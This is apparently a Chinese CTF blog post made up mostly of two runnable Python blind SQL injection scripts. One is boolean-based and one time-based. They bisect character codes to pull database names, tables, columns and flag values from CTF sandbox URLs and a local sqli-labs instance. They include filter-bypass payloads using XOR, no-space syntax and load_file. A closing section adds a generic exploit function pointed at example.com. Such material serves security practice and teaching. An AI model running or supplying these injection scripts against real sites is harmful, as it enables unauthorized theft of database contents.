sql盲注py脚本

import requests
#url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
#url = "http://localhost/sqli-labs-master/Less-1/?id=1'"
url = "http://challenge-8001a3f6b43953f3.sandbox.ctfhub.com:10080/"
result = ''

# 估计有10个,limit 1-10, group_concat会重复
for code in range(0, 10):
    result += " --- next limit data : "    
    for x in range(1, 50):    
    #for x in range(70, 100):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
        #load_file外带
        #payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
            #数据库名
            #payload = "and ascii(substr((select database()),%d,1))>%d--+" % (x, mid)
            #表名
            #payload = "and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))>%d --+" % (code,x, mid)
            #列名
            #payload = "and ascii(substr((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))>%d --+" % (code,x, mid)
            #根据情况修改,and 被过滤
            payload = "?id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))>%d,1,(select table_name from information_schema.tables))" % (code, x, mid)
            payload = "?id=if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1))>%d,1,(select table_name from information_schema.tables))" % (code, x, mid)
            payload = "?id=if(ascii(substr((select flag from flag limit %d,1),%d,1))>%d,1,(select table_name from information_schema.tables))" % (code, x, mid)

	    # and,空格,if被过滤(必须两个异或,不懂?)            
	    #payload = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(x,mid)                                
	    #数据库名字            
	    #payload = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),%d,1))>%d)^1"%(x, mid)  
	    # 表名            
	    #payload = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(x,mid)           
	    #表名            
	    #payload = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(x,mid)        
	    #列名            
	    payload = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(x, mid)
            #print(payload)

            response = requests.get(url + payload)
            if 'query_success' in response.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
            print(mid)
        result += chr(mid)
        if (mid == 32):
            print(result)
            break;
        print("[*] the name are {0}".format(result))
#其他函数
#ascii可用ord替换,substr用mid
#?id=-1' or ascii(substr((select database() limit 0,1),1,1))>111--+
#?id=-1'%20or%20left(database(),2)='se'%20--+
#正则
#?id=-1'or%20(database()%20regexp%20'^sec')=1--+
#select user like 'ro%'
#IF(expr1,expr2,expr3)
#if(ascii(substr(database(),1,1))>115,0,sleep(5))--+
import requests
import time
url = 'http://6b666407-dc94-41fa-9666-7d5d977b469d.node1.buuoj.cn/view.php?no='
url = "http://localhost/sqli-labs-master/Less-1/?id=1'"
url = "http://challenge-4209e5f8252d6563.sandbox.ctfhub.com:10080/"
result = ''
for code in range(0,10):
    for x in range(7, 50):
        high = 127
        low = 32
        mid = (low + high) // 2
        while high > low:
            #load_file外带
            #payload = "if(ascii(substr((load_file('/var/www/html/flag.php')),%d,1))>%d,1,0)" % (x, mid)
            #数据库名
            #payload = "?id=1 and if(ascii(substr(database(),%d,1))>%d,1,sleep(5))--+" % (x, mid)
            #表名
            payload = "?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))>%d,1,sleep(5)) --+" % (code, x, mid)
            #列名
            #payload = "and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))>%d,1,sleep(5)) --+" % (code, x, mid)
            #字段
            payload = "?id=1 and if(ascii(substr((select flag from flag limit %d,1),%d,1))>%d,1,sleep(5)) --+" % (code, x, mid)
            #print(payload)
            #payload = "?id=1 and if(1=1,1,sleep(10))--+"
            ss = time.time()
            response = requests.get(url + payload)
            if time.time() - ss < 4:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
            print(mid)
        result += chr(mid)
        if (mid == 32):
            print(result)
            break;
        print("[*] the name are {0}".format(result))
#其他函数
#ascii可用ord替换,substr用mid
#?id=-1' or ascii(substr((select database() limit 0,1),1,1))>111--+
#?id=-1'%20or%20left(database(),2)='se'%20--+
#正则
#?id=-1'or%20(database()%20regexp%20'^sec')=1--+
#select user like 'ro%'
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值